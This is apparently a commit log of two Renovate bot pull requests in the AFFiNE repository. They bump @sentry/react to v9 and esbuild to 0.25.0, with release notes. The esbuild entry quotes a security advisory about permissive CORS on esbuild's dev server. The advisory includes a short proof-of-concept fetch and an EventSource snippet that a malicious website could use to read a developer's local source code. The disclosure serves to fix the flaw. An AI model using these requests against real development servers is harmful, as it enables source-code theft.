renovate
5c16b803b7
chore: bump up @sentry/react version to v9 ( #10064 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react ) ([source](https://redirect.github.com/getsentry/sentry-javascript )) | [`^8.44.0` -> `^9.0.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.54.0/9.0.1 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
---
### Release Notes
<details>
<summary>getsentry/sentry-javascript (@​sentry/react)</summary>
### [`v9.0.1`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/9.0.1 )
[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/9.0.0...9.0.1 )
- ref(flags): rename unleash integration param ([#​15343](https://redirect.github.com/getsentry/sentry-javascript/pull/15343 ))
##### Bundle size 📦
| Path | Size |
| ---------------------------------------------------------------- | ----------------- |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) | 22.9 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) - with treeshaking flags | 22.69 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) (incl. Tracing) | 35.77 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) (incl. Tracing, Replay) | 72.65 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) (incl. Tracing, Replay) - with treeshaking flags | 66.13 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) (incl. Tracing, Replay with Canvas) | 76.9 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) (incl. Tracing, Replay, Feedback) | 89.64 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) (incl. Feedback) | 39.86 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) (incl. sendFeedback) | 27.53 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) (incl. FeedbackAsync) | 32.31 KB |
| [@​sentry/react](https://redirect.github.com/sentry/react ) | 24.74 KB |
| [@​sentry/react](https://redirect.github.com/sentry/react ) (incl. Tracing) | 37.67 KB |
| [@​sentry/vue](https://redirect.github.com/sentry/vue ) | 27.09 KB |
| [@​sentry/vue](https://redirect.github.com/sentry/vue ) (incl. Tracing) | 37.47 KB |
| [@​sentry/svelte](https://redirect.github.com/sentry/svelte ) | 22.94 KB |
| CDN Bundle | 24.13 KB |
| CDN Bundle (incl. Tracing) | 35.84 KB |
| CDN Bundle (incl. Tracing, Replay) | 70.55 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) | 75.69 KB |
| CDN Bundle - uncompressed | 70.59 KB |
| CDN Bundle (incl. Tracing) - uncompressed | 106.46 KB |
| CDN Bundle (incl. Tracing, Replay) - uncompressed | 217.52 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed | 230.09 KB |
| [@​sentry/nextjs](https://redirect.github.com/sentry/nextjs ) (client) | 38.63 KB |
| [@​sentry/sveltekit](https://redirect.github.com/sentry/sveltekit ) (client) | 36.2 KB |
| [@​sentry/node](https://redirect.github.com/sentry/node ) | 156.33 KB |
| [@​sentry/node](https://redirect.github.com/sentry/node ) - without tracing | 97.31 KB |
| [@​sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless ) | 106.82 KB |
### [`v9.0.0`](https://redirect.github.com/getsentry/sentry-javascript/blob/HEAD/CHANGELOG.md#900 )
[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.54.0...9.0.0 )
Version `9.0.0` marks a release of the Sentry JavaScript SDKs that contains breaking changes.
The goal of this release is to trim down on unused and potentially confusing APIs, prepare the SDKs for future framework versions to build deeper instrumentation, and remove old polyfills to reduce the packages' size.
##### How To Upgrade
Please carefully read through the migration guide in the Sentry docs on how to upgrade from version 8 to version 9.
Make sure to select your specific platform/framework in the top left corner: https://docs.sentry.io/platforms/javascript/migration/v8-to-v9/
A comprehensive migration guide outlining all changes for all the frameworks can be found within the Sentry JavaScript SDK Repository: https://github.com/getsentry/sentry-javascript/blob/develop/MIGRATION.md
##### Breaking Changes
- doc(deno)!: Make Deno v2 the minimum supported version ([#​15085](https://redirect.github.com/getsentry/sentry-javascript/issues/15085 ))
- feat!: Bump typescript to `~5.0.0` ([#​14758](https://redirect.github.com/getsentry/sentry-javascript/issues/14758 ))
- feat!: Drop `nitro-utils` package ([#​14998](https://redirect.github.com/getsentry/sentry-javascript/issues/14998 ))
- feat!: Only collect ip addresses with `sendDefaultPii: true` ([#​15084](https://redirect.github.com/getsentry/sentry-javascript/issues/15084 ))
- feat!: Remove `autoSessionTracking` option ([#​14802](https://redirect.github.com/getsentry/sentry-javascript/issues/14802 ))
- feat!: Remove `enableTracing` ([#​15078](https://redirect.github.com/getsentry/sentry-javascript/issues/15078 ))
- feat!: Remove `getCurrentHub()`, `Hub`, and `getCurrentHubShim()` ([#​15122](https://redirect.github.com/getsentry/sentry-javascript/issues/15122 ))
- feat!: Remove `spanId` from propagation context ([#​14733](https://redirect.github.com/getsentry/sentry-javascript/issues/14733 ))
- feat!: Remove deprecated and unused code ([#​15077](https://redirect.github.com/getsentry/sentry-javascript/issues/15077 ))
- feat!: Remove metrics API from the JS SDK ([#​14745](https://redirect.github.com/getsentry/sentry-javascript/issues/14745 ))
- feat!: Require Node `>=18` as minimum supported version ([#​14749](https://redirect.github.com/getsentry/sentry-javascript/issues/14749 ))
- feat(astro)!: Respect user-specified source map setting ([#​14941](https://redirect.github.com/getsentry/sentry-javascript/issues/14941 ))
- feat(browser)!: Remove `captureUserFeedback` method ([#​14820](https://redirect.github.com/getsentry/sentry-javascript/issues/14820 ))
- feat(build)!: Drop pre-ES2020 polyfills ([#​14882](https://redirect.github.com/getsentry/sentry-javascript/issues/14882 ))
- feat(core)!: Add `normalizedRequest` to `samplingContext` ([#​14902](https://redirect.github.com/getsentry/sentry-javascript/issues/14902 ))
- feat(core)!: Always use session from isolation scope ([#​14860](https://redirect.github.com/getsentry/sentry-javascript/issues/14860 ))
- feat(core)!: Pass root spans to `beforeSendSpan` and disallow returning `null` ([#​14831](https://redirect.github.com/getsentry/sentry-javascript/issues/14831 ))
- feat(core)!: Remove `BAGGAGE_HEADER_NAME` export ([#​14785](https://redirect.github.com/getsentry/sentry-javascript/issues/14785 ))
- feat(core)!: Remove `TransactionNamingScheme` type ([#​14865](https://redirect.github.com/getsentry/sentry-javascript/issues/14865 ))
- feat(core)!: Remove `addOpenTelemetryInstrumentation` method ([#​14792](https://redirect.github.com/getsentry/sentry-javascript/issues/14792 ))
- feat(core)!: Remove `arrayify` method ([#​14782](https://redirect.github.com/getsentry/sentry-javascript/issues/14782 ))
- feat(core)!: Remove `debugIntegration` and `sessionTimingIntegration` ([#​14747](https://redirect.github.com/getsentry/sentry-javascript/issues/14747 ))
- feat(core)!: Remove `flatten` method ([#​14784](https://redirect.github.com/getsentry/sentry-javascript/issues/14784 ))
- feat(core)!: Remove `getDomElement` method ([#​14797](https://redirect.github.com/getsentry/sentry-javascript/issues/14797 ))
- feat(core)!: Remove `makeFifoCache` method ([#​14786](https://redirect.github.com/getsentry/sentry-javascript/issues/14786 ))
- feat(core)!: Remove `memoBuilder` export & `WeakSet` fallback ([#​14859](https://redirect.github.com/getsentry/sentry-javascript/issues/14859 ))
- feat(core)!: Remove `transactionContext` from `samplingContext` ([#​14904](https://redirect.github.com/getsentry/sentry-javascript/issues/14904 ))
- feat(core)!: Remove `urlEncode` method ([#​14783](https://redirect.github.com/getsentry/sentry-javascript/issues/14783 ))
- feat(core)!: Remove deprecated `Request` type ([#​14858](https://redirect.github.com/getsentry/sentry-javascript/issues/14858 ))
- feat(core)!: Remove deprecated request data methods ([#​14896](https://redirect.github.com/getsentry/sentry-javascript/issues/14896 ))
- feat(core)!: Remove standalone `Client` interface & deprecate `BaseClient` ([#​14800](https://redirect.github.com/getsentry/sentry-javascript/issues/14800 ))
- feat(core)!: Remove validSeverityLevels export ([#​14765](https://redirect.github.com/getsentry/sentry-javascript/issues/14765 ))
- feat(core)!: Stop accepting `event` as argument for `recordDroppedEvent` ([#​14999](https://redirect.github.com/getsentry/sentry-javascript/issues/14999 ))
- feat(core)!: Stop setting user in `requestDataIntegration` ([#​14898](https://redirect.github.com/getsentry/sentry-javascript/issues/14898 ))
- feat(core)!: Type sdkProcessingMetadata more strictly ([#​14855](https://redirect.github.com/getsentry/sentry-javascript/issues/14855 ))
- feat(core)!: Update `hasTracingEnabled` to consider empty trace config ([#​14857](https://redirect.github.com/getsentry/sentry-javascript/issues/14857 ))
- feat(core)!: Update `requestDataIntegration` handling ([#​14806](https://redirect.github.com/getsentry/sentry-javascript/issues/14806 ))
- feat(deno)!: Remove deno prepack ([#​14829](https://redirect.github.com/getsentry/sentry-javascript/issues/14829 ))
- feat(ember)!: Officially drop support for ember `<=3.x` ([#​15032](https://redirect.github.com/getsentry/sentry-javascript/issues/15032 ))
- feat(nestjs)!: Move `nestIntegration` into nest sdk and remove `setupNestErrorHandler` ([#​14751](https://redirect.github.com/getsentry/sentry-javascript/issues/14751 ))
- feat(nestjs)!: Remove `@WithSentry` decorator ([#​14762](https://redirect.github.com/getsentry/sentry-javascript/issues/14762 ))
- feat(nestjs)!: Remove `SentryService` ([#​14759](https://redirect.github.com/getsentry/sentry-javascript/issues/14759 ))
- feat(nextjs)!: Don't rely on Next.js Build ID for release names ([#​14939](https://redirect.github.com/getsentry/sentry-javascript/issues/14939 ))
- feat(nextjs)!: Remove `experimental_captureRequestError` ([#​14607](https://redirect.github.com/getsentry/sentry-javascript/issues/14607 ))
- feat(nextjs)!: Respect user-provided source map generation settings ([#​14956](https://redirect.github.com/getsentry/sentry-javascript/issues/14956 ))
- feat(node)!: Add support for Prisma v6 and drop v5 support ([#​15120](https://redirect.github.com/getsentry/sentry-javascript/issues/15120 ))
- feat(node)!: Avoid http spans by default for custom OTEL setups ([#​14678](https://redirect.github.com/getsentry/sentry-javascript/issues/14678 ))
- feat(node)!: Collect request sessions via HTTP instrumentation ([#​14658](https://redirect.github.com/getsentry/sentry-javascript/issues/14658 ))
- feat(node)!: Remove `processThreadBreadcrumbIntegration` ([#​14666](https://redirect.github.com/getsentry/sentry-javascript/issues/14666 ))
- feat(node)!: Remove fine grained `registerEsmLoaderHooks` ([#​15002](https://redirect.github.com/getsentry/sentry-javascript/issues/15002 ))
- feat(opentelemetry)!: Exclusively pass root spans through sampling pipeline ([#​14951](https://redirect.github.com/getsentry/sentry-javascript/issues/14951 ))
- feat(pinia)!: Include state of all stores in breadcrumb ([#​15312](https://redirect.github.com/getsentry/sentry-javascript/issues/15312 ))
- feat(react)!: Raise minimum supported TanStack Router version to `1.63.0` ([#​15030](https://redirect.github.com/getsentry/sentry-javascript/issues/15030 ))
- feat(react)!: Remove deprecated `getNumberOfUrlSegments` method ([#​14744](https://redirect.github.com/getsentry/sentry-javascript/issues/14744 ))
- feat(react)!: Remove deprecated react router methods ([#​14743](https://redirect.github.com/getsentry/sentry-javascript/issues/14743 ))
- feat(react)!: Update `ErrorBoundary` `componentStack` type ([#​14742](https://redirect.github.com/getsentry/sentry-javascript/issues/14742 ))
- feat(remix)!: Drop support for Remix v1 ([#​14988](https://redirect.github.com/getsentry/sentry-javascript/issues/14988 ))
- feat(remix)!: Remove `autoInstrumentRemix` option ([#​15074](https://redirect.github.com/getsentry/sentry-javascript/issues/15074 ))
- feat(solidstart)!: Default to `--import` setup and add `autoInjectServerSentry` ([#​14862](https://redirect.github.com/getsentry/sentry-javascript/issues/14862 ))
- feat(solidstart)!: No longer export `sentrySolidStartVite` ([#​15143](https://redirect.github.com/getsentry/sentry-javascript/issues/15143 ))
- feat(solidstart)!: Respect user-provided source map setting ([#​14979](https://redirect.github.com/getsentry/sentry-javascript/issues/14979 ))
- feat(svelte)!: Disable component update tracking by default ([#​15265](https://redirect.github.com/getsentry/sentry-javascript/issues/15265 ))
- feat(sveltekit)!: Drop support for SvelteKit [@​1](https://redirect.github.com/1 ).x ([#​15037](https://redirect.github.com/getsentry/sentry-javascript/issues/15037 ))
- feat(sveltekit)!: Remove `fetchProxyScriptNonce` option ([#​15123](https://redirect.github.com/getsentry/sentry-javascript/issues/15123 ))
- feat(sveltekit)!: Respect user-provided source map generation settings ([#​14886](https://redirect.github.com/getsentry/sentry-javascript/issues/14886 ))
- feat(utils)!: Remove `@sentry/utils` package ([#​14830](https://redirect.github.com/getsentry/sentry-javascript/issues/14830 ))
- feat(vue)!: Remove configuring Vue tracing options anywhere else other than through the `vueIntegration`'s `tracingOptions` option ([#​14856](https://redirect.github.com/getsentry/sentry-javascript/issues/14856 ))
- feat(vue/nuxt)!: No longer create `"update"` spans for component tracking by default ([#​14602](https://redirect.github.com/getsentry/sentry-javascript/issues/14602 ))
- fix(node)!: Fix name of `vercelAIIntegration` to `VercelAI` ([#​15298](https://redirect.github.com/getsentry/sentry-javascript/issues/15298 ))
- fix(vue)!: Remove `logError` from `vueIntegration` ([#​14958](https://redirect.github.com/getsentry/sentry-javascript/issues/14958 ))
- ref!: Don't polyfill optional chaining and nullish coalescing ([#​14603](https://redirect.github.com/getsentry/sentry-javascript/issues/14603 ))
- ref(core)!: Cleanup internal types, including `ReportDialogOptions` ([#​14861](https://redirect.github.com/getsentry/sentry-javascript/issues/14861 ))
- ref(core)!: Mark exceptions from `captureConsoleIntegration` as `handled: true` by default ([#​14734](https://redirect.github.com/getsentry/sentry-javascript/issues/14734 ))
- ref(core)!: Move `shutdownTimeout` option type from core to node ([#​15217](https://redirect.github.com/getsentry/sentry-javascript/issues/15217 ))
- ref(core)!: Remove `Scope` type interface in favor of using `Scope` class ([#​14721](https://redirect.github.com/getsentry/sentry-javascript/issues/14721 ))
- ref(core)!: Remove backwards compatible SentryCarrier type ([#​14697](https://redirect.github.com/getsentry/sentry-javascript/issues/14697 ))
##### Other Changes
- chore(browser): Export ipAddress helpers for use in other SDKs ([#​15079](https://redirect.github.com/getsentry/sentry-javascript/issues/15079 ))
- deps(node): Bump `import-in-the-middle` to `1.12.0` ([#​14796](https://redirect.github.com/getsentry/sentry-javascript/issues/14796 ))
- feat(aws): Rename AWS lambda layer name to `SentryNodeServerlessSDKv9` ([#​14927](https://redirect.github.com/getsentry/sentry-javascript/issues/14927 ))
- feat(aws-serverless): Upgrade OTEL deps ([#​15091](https://redirect.github.com/getsentry/sentry-javascript/issues/15091 ))
- feat(browser): Set `user.ip_address` explicitly to `{{auto}}` ([#​15008](https://redirect.github.com/getsentry/sentry-javascript/issues/15008 ))
- feat(core): Add `inheritOrSampleWith` helper to `traceSampler` ([#​15277](https://redirect.github.com/getsentry/sentry-javascript/issues/15277 ))
- feat(core): Emit client reports for unsampled root spans on span start ([#​14936](https://redirect.github.com/getsentry/sentry-javascript/issues/14936 ))
- feat(core): Rename `hasTracingEnabled` to `hasSpansEnabled` ([#​15309](https://redirect.github.com/getsentry/sentry-javascript/issues/15309 ))
- feat(core): Streamline `SpanJSON` type ([#​14693](https://redirect.github.com/getsentry/sentry-javascript/issues/14693 ))
- feat(deno): Don't bundle `@sentry/deno` ([#​15014](https://redirect.github.com/getsentry/sentry-javascript/issues/15014 ))
- feat(deno): Don't publish to `deno.land` ([#​15016](https://redirect.github.com/getsentry/sentry-javascript/issues/15016 ))
- feat(deno): Stop inlining types from core ([#​14729](https://redirect.github.com/getsentry/sentry-javascript/issues/14729 ))
- feat(deps): Bump [@​opentelemetry/instrumentation-amqplib](https://redirect.github.com/opentelemetry/instrumentation-amqplib ) from 0.45.0 to 0.46.0 ([#​14835](https://redirect.github.com/getsentry/sentry-javascript/issues/14835 ))
- feat(deps): Bump [@​opentelemetry/instrumentation-aws-lambda](https://redirect.github.com/opentelemetry/instrumentation-aws-lambda ) from 0.49.0 to 0.50.0 ([#​14833](https://redirect.github.com/getsentry/sentry-javascript/issues/14833 ))
- feat(deps): Bump [@​opentelemetry/instrumentation-express](https://redirect.github.com/opentelemetry/instrumentation-express ) from 0.46.0 to 0.47.0 ([#​14834](https://redirect.github.com/getsentry/sentry-javascript/issues/14834 ))
- feat(deps): Bump [@​opentelemetry/instrumentation-mysql2](https://redirect.github.com/opentelemetry/instrumentation-mysql2 ) from 0.44.0 to 0.45.0 ([#​14836](https://redirect.github.com/getsentry/sentry-javascript/issues/14836 ))
- feat(deps): Bump [@​opentelemetry/propagation-utils](https://redirect.github.com/opentelemetry/propagation-utils ) from 0.30.14 to 0.30.15 ([#​14832](https://redirect.github.com/getsentry/sentry-javascript/issues/14832 ))
- feat(deps): bump [@​opentelemetry/context-async-hooks](https://redirect.github.com/opentelemetry/context-async-hooks ) from 1.29.0 to 1.30.0 ([#​14869](https://redirect.github.com/getsentry/sentry-javascript/issues/14869 ))
- feat(deps): bump [@​opentelemetry/instrumentation-generic-pool](https://redirect.github.com/opentelemetry/instrumentation-generic-pool ) from 0.42.0 to 0.43.0 ([#​14870](https://redirect.github.com/getsentry/sentry-javascript/issues/14870 ))
- feat(deps): bump [@​opentelemetry/instrumentation-knex](https://redirect.github.com/opentelemetry/instrumentation-knex ) from 0.43.0 to 0.44.0 ([#​14872](https://redirect.github.com/getsentry/sentry-javascript/issues/14872 ))
- feat(deps): bump [@​opentelemetry/instrumentation-mongodb](https://redirect.github.com/opentelemetry/instrumentation-mongodb ) from 0.50.0 to 0.51.0 ([#​14871](https://redirect.github.com/getsentry/sentry-javascript/issues/14871 ))
- feat(deps): bump [@​opentelemetry/instrumentation-tedious](https://redirect.github.com/opentelemetry/instrumentation-tedious ) from 0.17.0 to 0.18.0 ([#​14868](https://redirect.github.com/getsentry/sentry-javascript/issues/14868 ))
- feat(deps): bump [@​sentry/cli](https://redirect.github.com/sentry/cli ) from 2.39.1 to 2.41.1 ([#​15173](https://redirect.github.com/getsentry/sentry-javascript/issues/15173 ))
- feat(flags): Add Statsig browser integration ([#​15319](https://redirect.github.com/getsentry/sentry-javascript/issues/15319 ))
- feat(gatsby): Preserve user-provided source map settings ([#​15006](https://redirect.github.com/getsentry/sentry-javascript/issues/15006 ))
- feat(nestjs): Remove `SentryTracingInterceptor`, `SentryGlobalGraphQLFilter`, `SentryGlobalGenericFilter` ([#​14761](https://redirect.github.com/getsentry/sentry-javascript/issues/14761 ))
- feat(nextjs): Directly forward `sourcemaps.disable` to webpack plugin ([#​15109](https://redirect.github.com/getsentry/sentry-javascript/issues/15109 ))
- feat(node): Add `processSessionIntegration` ([#​15081](https://redirect.github.com/getsentry/sentry-javascript/issues/15081 ))
- feat(node): Add missing `vercelAIIntegration` export ([#​15318](https://redirect.github.com/getsentry/sentry-javascript/issues/15318 ))
- feat(node): Capture exceptions from `worker_threads` ([#​15105](https://redirect.github.com/getsentry/sentry-javascript/issues/15105 ))
- feat(nuxt): Add enabled to disable Sentry module ([#​15337](https://redirect.github.com/getsentry/sentry-javascript/issues/15337 ))
- feat(nuxt): add `silent`, `errorHandler`, `release` to `SourceMapsOptions` ([#​15246](https://redirect.github.com/getsentry/sentry-javascript/issues/15246 ))
- feat(profiling-node): Use `@sentry-internal/node-cpu-profiler` ([#​15208](https://redirect.github.com/getsentry/sentry-javascript/issues/15208 ))
- feat(replay): Update fflate to 0.8.2 ([#​14867](https://redirect.github.com/getsentry/sentry-javascript/issues/14867 ))
- feat(solidstart): Add `autoInjectServerSentry: 'experimental_dynamic-import` ([#​14863](https://redirect.github.com/getsentry/sentry-javascript/issues/14863 ))
- feat(sveltekit): Only inject fetch proxy script for SvelteKit < 2.16.0 ([#​15126](https://redirect.github.com/getsentry/sentry-javascript/issues/15126 ))
- feat(user feedback): Adds draw tool for UF screenshot annotations ([#​15062](https://redirect.github.com/getsentry/sentry-javascript/issues/15062 ))
- feat(user feedback): Adds toolbar for cropping and annotating ([#​15282](https://redirect.github.com/getsentry/sentry-javascript/issues/15282 ))
- feat: Avoid class fields all-together ([#​14887](https://redirect.github.com/getsentry/sentry-javascript/issues/14887 ))
- feat: Only emit `__esModule` properties in CJS modules when there is a default export ([#​15018](https://redirect.github.com/getsentry/sentry-javascript/issues/15018 ))
- feat: Pass `parentSampleRate` to `tracesSampler` ([#​15024](https://redirect.github.com/getsentry/sentry-javascript/issues/15024 ))
- feat: Propagate and use a sampling random ([#​14989](https://redirect.github.com/getsentry/sentry-javascript/issues/14989 ))
- fix(browser): Remove `browserPerformanceTimeOrigin` side-effects ([#​14025](https://redirect.github.com/getsentry/sentry-javascript/issues/14025 ))
- fix(core): Ensure debugIds are applied to all exceptions in an event ([#​14881](https://redirect.github.com/getsentry/sentry-javascript/issues/14881 ))
- fix(core): Fork scope if custom scope is passed to `startSpanManual` ([#​14901](https://redirect.github.com/getsentry/sentry-javascript/issues/14901 ))
- fix(core): Fork scope if custom scope is passed to `startSpan` ([#​14900](https://redirect.github.com/getsentry/sentry-javascript/issues/14900 ))
- fix(core): Only fall back to `sendDefaultPii` for IP collection in `requestDataIntegration` ([#​15125](https://redirect.github.com/getsentry/sentry-javascript/issues/15125 ))
- fix(nextjs): Flush with `waitUntil` in `captureRequestError` ([#​15146](https://redirect.github.com/getsentry/sentry-javascript/issues/15146 ))
- fix(nextjs): Use batched devserver symbolication endpoint ([#​15335](https://redirect.github.com/getsentry/sentry-javascript/issues/15335 ))
- fix(node): Don't leak `__span` property into breadcrumbs ([#​14798](https://redirect.github.com/getsentry/sentry-javascript/issues/14798 ))
- fix(node): Ensure `httpIntegration` propagates traces ([#​15233](https://redirect.github.com/getsentry/sentry-javascript/issues/15233 ))
- fix(node): Fix sample rand propagation for negative sampling decisions ([#​15045](https://redirect.github.com/getsentry/sentry-javascript/issues/15045 ))
- fix(node): Missing `release` from ANR sessions ([#​15138](https://redirect.github.com/getsentry/sentry-javascript/issues/15138 ))
- fix(node): Set the correct fallback URL fields for outgoing https requests if they are not defined ([#​15316](https://redirect.github.com/getsentry/sentry-javascript/issues/15316 ))
- fix(nuxt): Detect Azure Function runtime for flushing with timeout ([#​15288](https://redirect.github.com/getsentry/sentry-javascript/issues/15288 ))
- fix(react): From location can be undefined in Tanstack Router Instrumentation ([#​15235](https://redirect.github.com/getsentry/sentry-javascript/issues/15235 ))
- fix(react): Import default for hoistNonReactStatics ([#​15238](https://redirect.github.com/getsentry/sentry-javascript/issues/15238 ))
- fix(react): Support lazy-loaded routes and components. ([#​15039](https://redirect.github.com/getsentry/sentry-javascript/issues/15039 ))
- fix(solidstart): Do not copy release-injection map file ([#​15302](https://redirect.github.com/getsentry/sentry-javascript/issues/15302 ))
- ref(browser): Improve active span handling for `browserTracingIntegration` ([#​14959](https://redirect.github.com/getsentry/sentry-javascript/issues/14959 ))
- ref(browser): Improve setting of propagation scope for navigation spans ([#​15108](https://redirect.github.com/getsentry/sentry-javascript/issues/15108 ))
- ref(browser): Skip browser extension warning in non-debug builds ([#​15310](https://redirect.github.com/getsentry/sentry-javascript/issues/15310 ))
- ref(browser): Update `supportsHistory` check & history usage ([#​14696](https://redirect.github.com/getsentry/sentry-javascript/issues/14696 ))
- ref(core): Ensure non-recording root spans have frozen DSC ([#​14964](https://redirect.github.com/getsentry/sentry-javascript/issues/14964 ))
- ref(core): Log debug message when capturing error events ([#​14701](https://redirect.github.com/getsentry/sentry-javascript/issues/14701 ))
- ref(core): Move log message about invalid sample rate ([#​15215](https://redirect.github.com/getsentry/sentry-javascript/issues/15215 ))
- ref(node): Streamline check for adding performance integrations ([#​15021](https://redirect.github.com/getsentry/sentry-javascript/issues/15021 ))
- ref(react): Adapt tanstack router type ([#​15241](https://redirect.github.com/getsentry/sentry-javascript/issues/15241 ))
- ref(svelte): Remove SvelteKit detection ([#​15313](https://redirect.github.com/getsentry/sentry-javascript/issues/15313 ))
- ref(sveltekit): Clean up sub-request check ([#​15251](https://redirect.github.com/getsentry/sentry-javascript/issues/15251 ))
Work in this release was contributed by [@​aloisklink](https://redirect.github.com/aloisklink ), [@​arturovt](https://redirect.github.com/arturovt ), [@​aryanvdesh](https://redirect.github.com/aryanvdesh ), [@​benjick](https://redirect.github.com/benjick ), [@​chris-basebone](https://redirect.github.com/chris-basebone ), [@​davidturissini](https://redirect.github.com/davidturissini ), [@​GrizliK1988](https://redirect.github.com/GrizliK1988 ), [@​jahands](https://redirect.github.com/jahands ), [@​jrandolf](https://redirect.github.com/jrandolf ), [@​kunal-511](https://redirect.github.com/kunal-511 ), [@​maximepvrt](https://redirect.github.com/maximepvrt ), [@​maxmaxme](https://redirect.github.com/maxmaxme ), [@​mstrokin](https://redirect.github.com/mstrokin ), [@​nathankleyn](https://redirect.github.com/nathankleyn ), [@​nwalters512](https://redirect.github.com/nwalters512 ), [@​tannerlinsley](https://redirect.github.com/tannerlinsley ), [@​tjhiggins](https://redirect.github.com/tjhiggins ), and [@​Zen-cronic](https://redirect.github.com/Zen-cronic ). Thank you for your contributions!
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-28 14:09:36 +00:00
renovate
9f5abe6078
chore: bump up esbuild version to ^0.25.0 [SECURITY] ( #10075 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [esbuild](https://redirect.github.com/evanw/esbuild ) | [`^0.24.0` -> `^0.25.0`](https://renovatebot.com/diffs/npm/esbuild/0.24.2/0.25.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
### GitHub Vulnerability Alerts
#### [GHSA-67mh-4wv8-2f99](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99 )
### Summary
esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.
### Details
esbuild sets `Access-Control-Allow-Origin: *` header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.
df815ac27b/pkg/api/serve_other.go (L121)
df815ac27b/pkg/api/serve_other.go (L363)
**Attack scenario**:
1. The attacker serves a malicious web page (`http://malicious.example.com `).
1. The user accesses the malicious web page.
1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js ')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
1. The attacker gets the content of `http://127.0.0.1:8000/main.js `.
In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by
- Fetching `/index.html`: normally you have a script tag here
- Fetching `/assets`: it's common to have a `assets` directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files
- Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (`new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data))`)
- Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file
The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.
### PoC
1. Download [reproduction.zip](https://redirect.github.com/user-attachments/files/18561484/reproduction.zip )
2. Extract it and move to that directory
1. Run `npm i`
1. Run `npm run watch`
1. Run `fetch('http://127.0.0.1:8000/app.js ').then(r => r.text()).then(content => console.log(content))` in a different website's dev tools.

### Impact
Users using the serve feature may get the source code stolen by malicious websites.
---
### Release Notes
<details>
<summary>evanw/esbuild (esbuild)</summary>
### [`v0.25.0`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#v0250 )
[Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.24.2...v0.25.0 )
**This release deliberately contains backwards-incompatible changes.** To avoid automatically picking up releases like this, you should either be pinning the exact version of `esbuild` in your `package.json` file (recommended) or be using a version range syntax that only accepts patch upgrades such as `^0.24.0` or `~0.24.0`. See npm's documentation about [semver](https://docs.npmjs.com/cli/v6/using-npm/semver/ ) for more information.
- Restrict access to esbuild's development server ([GHSA-67mh-4wv8-2f99](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99 ))
This change addresses esbuild's first security vulnerability report. Previously esbuild set the `Access-Control-Allow-Origin` header to `*` to allow esbuild's development server to be flexible in how it's used for development. However, this allows the websites you visit to make HTTP requests to esbuild's local development server, which gives read-only access to your source code if the website were to fetch your source code's specific URL. You can read more information in [the report](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99 ).
Starting with this release, [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS ) will now be disabled, and requests will now be denied if the host does not match the one provided to `--serve=`. The default host is `0.0.0.0`, which refers to all of the IP addresses that represent the local machine (e.g. both `127.0.0.1` and `192.168.0.1`). If you want to customize anything about esbuild's development server, you can [put a proxy in front of esbuild](https://esbuild.github.io/api/#serve-proxy ) and modify the incoming and/or outgoing requests.
In addition, the `serve()` API call has been changed to return an array of `hosts` instead of a single `host` string. This makes it possible to determine all of the hosts that esbuild's development server will accept.
